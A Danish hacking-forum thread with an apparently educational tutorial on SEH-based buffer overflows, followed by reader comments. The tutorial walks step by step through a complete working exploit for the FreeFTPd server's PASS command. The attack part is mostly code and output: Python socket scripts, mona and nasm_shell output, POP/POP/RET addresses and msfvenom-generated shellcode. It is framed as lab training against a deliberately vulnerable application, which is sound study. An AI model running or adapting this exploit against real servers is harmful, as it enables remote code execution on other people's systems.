Denne side bruger cookies
Dette forum bruger cookies. Hvis du er registreret, bruges de til at huske hvem du er logget ind som. Hvis ikke, gemmer vi dit sidste besøgstidspunkt. Besøgstidspunktet bruges bl.a. til at holde øje med, hvilke tråde du allerede har læst. Cookies er små tekstdokumenter, som bliver gemt i din browser og udgør ingen sikkerhedsrisiko. Tryk "Mere Information" nedenfor, for en liste over de cookies vi sætter. Du har mulighed for at fravælge cookies ved at klikke på knappen "Blokér Cookies" i bunden af denne boks.

En ikke-personhenførbar cookie vil blive gemt i din browser, uanset dit valg (Medmindre du ikke foretager et). Således undgår du at blive spurgt igen. Du kan til enhver tid ændre dit valg via linket i bunden af siden.

Tråd bedømmelse:
  • 1 Stemmer - 5 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
Buffer Overflows 102 - SEH baserede overflows
04-12-2013, 01:00 (Denne besked var sidst ændret: 23-02-2014, 19:25 af BlimBlamBlar.)
#1
Buffer Overflows 102 - SEH baserede overflows
Velkommen til næste lektion. Jeg håber, at I har læst den første (https://www.shellsec.pw/showthread.php?tid=1271 ), for mange ting går igen i denne, som er en anelse mere kompleks.
I sidste lektion så vi på såkaldt direct return overwrite, hvor vi overskrev retur adressen.
Uden at vi gik i super mange detaljer omkring det, så vi også på én metode til at omgå ASLR ved brug af trampoliner på kendte adresser. Men der er andre måder operativsystemet og compilere kan forsøge at beskytte imod buffer overflows, og én af dem er stack cookies eller canaries.

I gamle dage, når man arbejdede i minerne, så havde man en kanariefugl med i et bur. Den placerede man på et lavere niveau end arbejderne, og hvis den pludselig lå død i sit bur, så var det fordi iltniveauet var blevet for lavt, og så gjaldt det om at komme ud i en helvedes fart.
Vores pendent af kanariefuglen er et kendt men tilfældigt tal, som lægges på stakken inden returadressen og som tjekkes inden en funktion returnerer. Hvis tallet er blevet ændret, betyder det, at den er blevet overskrevet, og så kan man heller ikke stole på, at returadressen er intakt, og så afsluttes programmet. Hvad gør vi ved det?

Der kan være meget på stakken, som er værd at overskrive. Hvis vi overskriver returadressen som led i at overskrive disse interessante data, så skal de bare bruges inden funktionen returnerer. Det bedste eksempel på dette er Structured Exception Handlers (SEH) under Windows.

De fleste C++ programmører kender til exceptions og exception handlers:

try {
doStuff();
} catch (SomeException & ex) {
handleException();
}

...men SEH er lidt mere lowlevel og har ikke noget med C++ exceptions at gøre. Windows bruger SEH til at indikere lowlevel fejl såsom udførslen af ulovlige instruktioner eller læsning/skrivning til ulovlig hukommelse (som på Linux ville give SIGSEGV).

Exception handlere beskrives af en structur som indeholder to members: Først en pointer til næste exception handler efterfulgt af en pointer til exception handlerens funktion.

Idéen er så, at når en exception sker (f.eks. der læses fra en null pointer) så finder Windows den første exception hander og udfører dens funktion. Hvis den indikerer, at den ikke kunne håndtere den pågældende exception, så går Windows videre til næste handler. Sådan fortsætter den så til én eller anden har håndteret den. Den sidste exception handler i kæden kan klare alle exceptions og det gør den ved at afslutte programmet og vise "Ulovlig handling" dialog boksen.

Disse strukturer ligger på stakken, og hvis en exception forekommer, så afsluttes nuværende funktion ikke...exception handler kæden rendes igennem først.
Så hvis vi finder en buffer overflow i en funktion, som er beskyttet af en canary, så kan vi muligvis bare skrive vanvittigt meget, overskrive første exception handler og derefter forårsage en ulovlig skrivning, f.eks. ved at skrive ud af stakken. Derefter springes der så til funktionen for første exception handler...en funktion som vi har overskrevet og bingo! Så har vi magten.

Helt så nemt er det så alligevel ikke, men lad os tage den med et eksempel.

Du har allerede det meste installeret fra første lektion, men download og installer denne sårbare applikation: http://www.exploit-db.com/wp-content/the...eeFTPd.exe
Prik også hul i din firewall, så du kan nå serveren fra din Kali VM eller hvorfra dit exploit nu kører.
Start FreeFTP og konfigurer den til at tillade anonym adgang. Det gøres i Users, tryk på 'Add' og vælg et navn ('anonymous' er det mest almindelige) og vælg 'Anonymous user account' under 'Authentication'. Tryk derefter apply og gå til FTP området og tryk på 'start'. Se så om du kan forbinde til serveren fra din Kali.

Lidt baggrundsviden...FreeFTP indeholder en buffer overflow som kan nåes via netværket...helt præcis i den kode som fortolker på argumentet til PASS kommandoen når man forsøger login som anonymous.

Her er vores exploit som det ser ud til at starte med:

#!/usr/bin/python

import socket
import sys

host = sys.argv[1]

def sink_line(s):
d = ""
while not "\n" in d:
d += s.recv(1)
return d[0:-2]

s = socket.create_connection((host, 21))
print sink_line(s)
s.send("USER anonymous\r\n")
print sink_line(s)
s.send("PASS %s\r\n" % ("A" * 1000))
s.close()

FTP serveren kører allerede så denne gang bruger vi Immunitys 'Attach' funktionalitet, som også ligger under 'File' menuen. Find 'FreeFTPDService' processen og marker og tryk 'Attach'.

Lad processen køre videre med <f9>. Prøv så at trykke <alt>+<s>, så popper SEH Chain vinduet op:
[Billede: FBxoNYT.png]

Det indikerer, at første exception handler record ligger på adresse 0x0012fc88. Som sagt indeholder en exception handler record to værdier, først adressen på næste record og derefter adressen på handler funktionen. Hvis vi kigger i stakken, ser vi, at på adresse 0x0012fc88 er adressen 0x0012ffb0, som i SEH Chain vinduet også er adressen på anden record. Fint nok, og vi kan også se at umiddelbart efter er adressen på handler funktionen, som i dette tilfælde er 0x00496bfc. Det kan både ses i stakken og i SEH Chain vinduet. Det er en sådan record, vi skal have overskrevet, og det gør vores exploit, så fyr det af.

BANG. Immunity ser nu sådan her ud:
[Billede: UmybqH5.png]

Når en exception bliver kastet, vil Windows først lade en eventuel debugger vide om det, derfor ser vi i bunden af Immunity at der et eller andet sted er blevet læst fra en ugyldig adresse som indeholder en masse A'er. Det forventede vi. Vi skal så lade programmet håndtere den kastede exception, og det gøres med <shift>+<f9>. Derefter springer programmet i luften igen:
[Billede: oRm1x4X.png]

I registrerne ser vi, at 'EIP' er 0x41414141 og i SEH Chain ser vi også at en handler er overskrevet så både funktions pointeren og next pointeren er 0x41414141. Sweet.

Genstart serveren (<ctrl>+<f2> efterfulgt af <f9>). Vi skal nu finde ud af, hvor mange password bytes vi skal sende, før vi overskriver vores exception record, og der kunne vi jo bruge 'pattern_create.rb'. Jeg tilføjer en funktion til vores exploit som kan give os en streng:

#!/usr/bin/python

import socket
import sys
import subprocess

host = sys.argv[1]

def sink_line(s):
d = ""
while not "\n" in d:
d += s.recv(1)
return d[0:-2]

def pattern(l):
p = subprocess.Popen(["pattern_create.rb", str(l)], stdout = subprocess.PIPE)
return p.stdout.readline()[0:-1]

s = socket.create_connection((host, 21))
print sink_line(s)
s.send("USER anonymous\r\n")
print sink_line(s)
s.send("PASS %s\r\n" % pattern(1000))
print sink_line(s)

Fyr det efter FTP serveren og send de modtagne exceptions videre til programmet. Nu får vi følgende:

[Billede: 6XA326e.png]

Exception handleren ligger på 0x0012ba48. Next peger på 0x36614235 og funktions pointeren peger på 0x42376142 og den ligger også i 'EIP' registret. 'pattern_offset.py' siger at de ligger henholdsvis 797 og 801 bytes inde i strengen, og vi forventede da også at de lå i forlængelse af hinanden, så det var heldigt.

Vi opdaterer vores exploit til at putte 0xcafebabe i next pointeren og 0xdeadbeef i funktions pointeren.

#!/usr/bin/python

import socket
import sys

host = sys.argv[1]

def sink_line(s):
d = ""
while not "\n" in d:
d += s.recv(1)
return d[0:-2]

next_pointer = "\xbe\xba\xfe\xca"
function_pointer = "\xef\xbe\xad\xde"

s = socket.create_connection((host, 21))
print sink_line(s)
s.send("USER anonymous\r\n")
print sink_line(s)
s.send("PASS %s\r\n" % ("A" * 797 + next_pointer + function_pointer + "B" * 200))
print sink_line(s)

Genstart og prøv dette. Vi får:

[Billede: UywbYUr.png]

Nice! Men hvad skal vi overskrive med? Ingen registre peger på vores streng?
Når en exception handler funktion bliver kaldt, får det nogle argumenter med. Argumenterne ligger på stakken lige efter returadressen, som ligger øverst, og andet argument er en pointer til den pågældende exception handler record. Dvs. at hvis vi springer et sted hen, som kan springe til andet argument på stakken, så ender vi med at fortolke next pointeren som maskinkode...hvis dette overhovedet var muligt, så giver det os altså mulighed for at udføre en fire byte shellcode.
Ikke særlig brugbart...men lad os gøre det alligevel Smile

En fantastisk shellcode på fire bytes er '\xcc\xcc\xcc\xcc', som er fire breakpoints.
Så mangler vi bare at kunne hoppe til andet argument, og hvordan gør vi så det?
Det kan vi sikkert ikke, men vi kan muligvis fjerne to elementer fra stakken og så returnere...for så ligger adressen jo øverst på stakken.

En sådan kodesekvens kunne være 'POP/POP/RET' og det kan mona.py finde for os:

Kode:
!mona findwild -o -s "pop r32#pop r32#ret"

r32 er en placeholder for et hvilket som helst 32 bit register. Vi får følgende:

[Billede: PEJAEku.png]

Jeg prøver med den på 0x004056f1. Hvis alt går vel vil den følgende ikke crashe efter at jeg har sendt exceptions videre. Den vil istedet standse efter første breakpoint.

#!/usr/bin/python

import socket
import sys

host = sys.argv[1]

def sink_line(s):
d = ""
while not "\n" in d:
d += s.recv(1)
return d[0:-2]

next_pointer = "\xcc\xcc\xcc\xcc"
function_pointer = "\xf1\x56\x40\x00"

s = socket.create_connection((host, 21))
print sink_line(s)
s.send("USER anonymous\r\n")
print sink_line(s)
s.send("PASS %s\r\n" % ("A" * 797 + next_pointer + function_pointer + "B" * 200))
print sink_line(s)

Vi prøver og får:

[Billede: GKFcMrw.png]

Fantastisk! Vi kan udføre fire byte shellcode. Hvorfor ikke mere?
Well, efter de fire bytes ligger adressen på vores POP/POP/RET sekvens, så den kan vi ikke ændre det store på...men vi kan jo hoppe over den.
Men vi har også sendt 797 A'er først, så hvorfor ikke hoppe tilbage til starten?
Der findes instruktioner til at hoppe både frem og tilbage, men vil vi hoppe mere end 128 bytes tilbage, så fylder instruktionen fem bytes, og det er der ikke plads til. Den eneste anden mulighed er en instruktion på to bytes, som kan hoppe 128 bytes tilbage eller 127 bytes fremad. Men vi kan jo hoppe fem bytes baglæns. Så er der plads til en fem byte instruktion som hopper yderligere 792 bytes tilbage og rammer starten af strengen.

Metasploit har endnu et lækkert tool kaldet 'nasm_shell.rb'. Det tillader os at skrive assembly og se maskinkoden i hex. Lad os se hvordan en 'jmp short -5' og en 'jmp -792' ser ud:

Kode:
$ nasm_shell.rb
nasm > jmp short -5
00000000  EBF9              jmp short 0xfffffffb
nasm > jmp -792
00000000  E9E3FCFFFF        jmp dword 0xfffffce8
nasm >

Vi skal også bruge en shellcode, og denne gang specificerer vi tre bad characters som er line ending og nul:

Kode:
$ msfvenom -p windows/exec -b '\x00\x0c\x0a' -f python CMD=calc
[*] x86/shikata_ga_nai succeeded with size 223 (iteration=1)
buf =  ""
buf += "\xb8\x2c\xf6\x81\x9d\xdb\xdf\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x32\x31\x42\x12\x83\xc2\x04\x03\x6e\xf8\x63"
buf += "\x68\x92\xec\xed\x93\x6a\xed\x8d\x1a\x8f\xdc\x9f\x79"
buf += "\xc4\x4d\x10\x09\x88\x7d\xdb\x5f\x38\xf5\xa9\x77\x4f"
buf += "\xbe\x04\xae\x7e\x3f\xa9\x6e\x2c\x83\xab\x12\x2e\xd0"
buf += "\x0b\x2a\xe1\x25\x4d\x6b\x1f\xc5\x1f\x24\x54\x74\xb0"
buf += "\x41\x28\x45\xb1\x85\x27\xf5\xc9\xa0\xf7\x82\x63\xaa"
buf += "\x27\x3a\xff\xe4\xdf\x30\xa7\xd4\xde\x95\xbb\x29\xa9"
buf += "\x92\x08\xd9\x28\x73\x41\x22\x1b\xbb\x0e\x1d\x94\x36"
buf += "\x4e\x59\x12\xa9\x25\x91\x61\x54\x3e\x62\x18\x82\xcb"
buf += "\x77\xba\x41\x6b\x5c\x3b\x85\xea\x17\x37\x62\x78\x7f"
buf += "\x5b\x75\xad\x0b\x67\xfe\x50\xdc\xee\x44\x77\xf8\xab"
buf += "\x1f\x16\x59\x11\xf1\x27\xb9\xfd\xae\x8d\xb1\xef\xbb"
buf += "\xb4\x9b\x65\x3d\x34\xa6\xc0\x3d\x46\xa9\x62\x56\x77"
buf += "\x22\xed\x21\x88\xe1\x4a\xdd\xc2\xa8\xfa\x76\x8b\x38"
buf += "\xbf\x1a\x2c\x97\x83\x22\xaf\x12\x7b\xd1\xaf\x56\x7e"
buf += "\x9d\x77\x8a\xf2\x8e\x1d\xac\xa1\xaf\x37\xcf\x24\x3c"
buf += "\xdb\x10"

Vores exploit bliver altså:

#!/usr/bin/python

import socket
import sys

host = sys.argv[1]

def sink_line(s):
d = ""
while not "\n" in d:
d += s.recv(1)
return d[0:-2]

jmp_back_5 = "\xeb\xf9\xcc\xcc"
jmp_back_792 = "\xe9\xe3\xfc\xff\xff"
pop_pop_ret = "\xf1\x56\x40\x00"
buf = ""
buf += "\xb8\x2c\xf6\x81\x9d\xdb\xdf\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x32\x31\x42\x12\x83\xc2\x04\x03\x6e\xf8\x63"
buf += "\x68\x92\xec\xed\x93\x6a\xed\x8d\x1a\x8f\xdc\x9f\x79"
buf += "\xc4\x4d\x10\x09\x88\x7d\xdb\x5f\x38\xf5\xa9\x77\x4f"
buf += "\xbe\x04\xae\x7e\x3f\xa9\x6e\x2c\x83\xab\x12\x2e\xd0"
buf += "\x0b\x2a\xe1\x25\x4d\x6b\x1f\xc5\x1f\x24\x54\x74\xb0"
buf += "\x41\x28\x45\xb1\x85\x27\xf5\xc9\xa0\xf7\x82\x63\xaa"
buf += "\x27\x3a\xff\xe4\xdf\x30\xa7\xd4\xde\x95\xbb\x29\xa9"
buf += "\x92\x08\xd9\x28\x73\x41\x22\x1b\xbb\x0e\x1d\x94\x36"
buf += "\x4e\x59\x12\xa9\x25\x91\x61\x54\x3e\x62\x18\x82\xcb"
buf += "\x77\xba\x41\x6b\x5c\x3b\x85\xea\x17\x37\x62\x78\x7f"
buf += "\x5b\x75\xad\x0b\x67\xfe\x50\xdc\xee\x44\x77\xf8\xab"
buf += "\x1f\x16\x59\x11\xf1\x27\xb9\xfd\xae\x8d\xb1\xef\xbb"
buf += "\xb4\x9b\x65\x3d\x34\xa6\xc0\x3d\x46\xa9\x62\x56\x77"
buf += "\x22\xed\x21\x88\xe1\x4a\xdd\xc2\xa8\xfa\x76\x8b\x38"
buf += "\xbf\x1a\x2c\x97\x83\x22\xaf\x12\x7b\xd1\xaf\x56\x7e"
buf += "\x9d\x77\x8a\xf2\x8e\x1d\xac\xa1\xaf\x37\xcf\x24\x3c"
buf += "\xdb\x10"

s = socket.create_connection((host, 21))
print sink_line(s)
s.send("USER anonymous\r\n")
print sink_line(s)
s.send("PASS %s\r\n" % (buf + "\xcc" * (792 - len(buf)) + jmp_back_792 + jmp_back_5 + pop_pop_ret + "B" * 200))
print sink_line(s)

Prøv så at lukke Immunity og starte FTP serveren op uden...fyr så vores nye exploit af:
[Billede: 8I7csW8.png]

Pwned!

Og et par opgaver:
  • Prøv at sætte Immunity på serveren igen og sæt et breakpoint på 0x004056f1 og step igennem til du når shellcoden. Kig med i stakken mens du popper elementerne væk.
  • Find flere sårbare programmer på exploit-db og genskab exploits. Der står typisk SEH i titlen, hvis det er en SEH baseret overflow.
  • Fortsæt her: http://www.shellsec.pw/showthread.php?tid=1579
Find alle beskeder fra denne bruger
Citer denne besked i et svar
25-12-2013, 23:01
#2
RE: Buffer Overflows 102 - SEH baserede overflows
Ingen kommentarer? Enten er det fuldstændig sort snak, eller også har jeg forklaret det forbløffende godt. So, which one is it?
Find alle beskeder fra denne bruger
Citer denne besked i et svar
26-12-2013, 00:21
#3
RE: Buffer Overflows 102 - SEH baserede overflows
(25-12-2013, 23:01)BlimBlamBlar Skrev: Ingen kommentarer? Enten er det fuldstændig sort snak, eller også har jeg forklaret det forbløffende godt. So, which one is it?

Det ser skidegodt ud, men jeg gør mig ikke i buffer overflows, eller så meget i ASM i det hele taget, så jeg kan ikke så godt bedømme indholdet.
Desuden er det nok også lidt fordi siden gik ned dagen efter eller sådan noget.
Mangler du hjælp?
Regler |  E-mail (PGP)
Besøg denne brugers hjemmeside Find alle beskeder fra denne bruger
Citer denne besked i et svar
27-12-2013, 22:09
#4
RE: Buffer Overflows 102 - SEH baserede overflows
Well, første artikel var der kommentarer meget hurtigt. Tænker bare, at hvis dette er for teknisk, så giver det ikke mening at gå videre med unicode/ROP/heap overflows osv. som er væsentligt sværere at gennemskue.
Find alle beskeder fra denne bruger
Citer denne besked i et svar
27-12-2013, 23:10
#5
RE: Buffer Overflows 102 - SEH baserede overflows
(27-12-2013, 22:09)BlimBlamBlar Skrev: Well, første artikel var der kommentarer meget hurtigt. Tænker bare, at hvis dette er for teknisk, så giver det ikke mening at gå videre med unicode/ROP/heap overflows osv. som er væsentligt sværere at gennemskue.

Jeg har lige læst den igennem.
Nu ved jeg ikke specielt meget om ASM, som jeg skrev før. Meeen, det giver nogenlunde mening, og jeg kan godt lide opbygningen i det du skriver.

Jeg tror at alle der leder efter noget om Buffer Overflows ville synes det er godt materiale, og personligt er jeg meget glad for den tid du bruger på at skrive om det. Det er godt at have noget der kan hæve os op på et højere niveau, og selvom der måske ikke er så mange der mangler det lige nu, så tror jeg vi bør gøre din 101 tråd til en sticky, så folk der leder efter den slags har let ved at finde det.

Om du vil skrive videre er selvfølgelig helt op til dig, men jeg værdsætter i hvert fald dit arbejde!
Mangler du hjælp?
Regler |  E-mail (PGP)
Besøg denne brugers hjemmeside Find alle beskeder fra denne bruger
Citer denne besked i et svar
31-12-2013, 15:35
#6
RE: Buffer Overflows 102 - SEH baserede overflows
Rigtig flot topic, dejligt at læse og gode forklaringer
[Billede: banner3.jpg]
Find alle beskeder fra denne bruger
Citer denne besked i et svar
03-01-2014, 16:59
#7
RE: Buffer Overflows 102 - SEH baserede overflows
Hvad version af windows XP bruger du ?
Sidder selv og leger med dette exploit ligenu, og EIP registret overskrives ikke ved "A" * 1000.
Dog er der overskrevet en handler i SEH chain.

Mit er windows XP SP3 x86
Følg mig på twitter: https://twitter.com/Morph3s
Find alle beskeder fra denne bruger
Citer denne besked i et svar
03-01-2014, 17:22
#8
RE: Buffer Overflows 102 - SEH baserede overflows
Du får en eller to exceptions, som din debugger griber først. De skal sende dem videre med <shift>+<f9>. Først derefter ejer du EIP.
Jeg har testet med XP servicepack 1 og 3, samt på Windows 7...samme opførsel.
Find alle beskeder fra denne bruger
Citer denne besked i et svar
03-01-2014, 19:56 (Denne besked var sidst ændret: 03-01-2014, 20:04 af Morph3s.)
#9
RE: Buffer Overflows 102 - SEH baserede overflows
(03-01-2014, 17:22)BlimBlamBlar Skrev: Du får en eller to exceptions, som din debugger griber først. De skal sende dem videre med <shift>+<f9>. Først derefter ejer du EIP.
Jeg har testet med XP servicepack 1 og 3, samt på Windows 7...samme opførsel.

Yea det er jeg klar over. Men er et almindeligt klik på "play knappen" tilsvarende?
Jeg kan nemlig ikke bruge hotkeys, såsom det da de gør noget heeelt andet på mit system.
Og et klik på "play" gør nemlig ikke at den bliver smidt videre.

EDIT:
Det er slet ikke det samme har jeg lige set. Kan ikke paass execution tilbage til programmet. Det er virkelig mærkelig. Hotkeys virker ikke, pga. mit crappy setup. Hvor finder jeg knapperne ?

SECOND EDIT:
Efter lang tids søgen fandt jeg onscreen keyboard i windows xp som løste problemet. under handicap options. Lol, damn you virtual machine
Følg mig på twitter: https://twitter.com/Morph3s
Find alle beskeder fra denne bruger
Citer denne besked i et svar
03-01-2014, 22:28
#10
RE: Buffer Overflows 102 - SEH baserede overflows
(27-12-2013, 22:09)BlimBlamBlar Skrev: Well, første artikel var der kommentarer meget hurtigt. Tænker bare, at hvis dette er for teknisk, så giver det ikke mening at gå videre med unicode/ROP/heap overflows osv. som er væsentligt sværere at gennemskue.

Så er jeg færdig med at lege med SEH og fandt også et andet program at lege med (VideoCharge).
Jeg har fået rigtig meget ud af denne tutorial, og den fyldte nogle huller ud hos mig, mht. SEH.

Af dine egne forslag, så ville jeg gerne se en tråd om ROP. Det er også et emne som jeg ikke har helt styr på.
Arbejder du med sikkerhed professionelt, eller kun hobby ?

Keep up the good work.
Følg mig på twitter: https://twitter.com/Morph3s
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)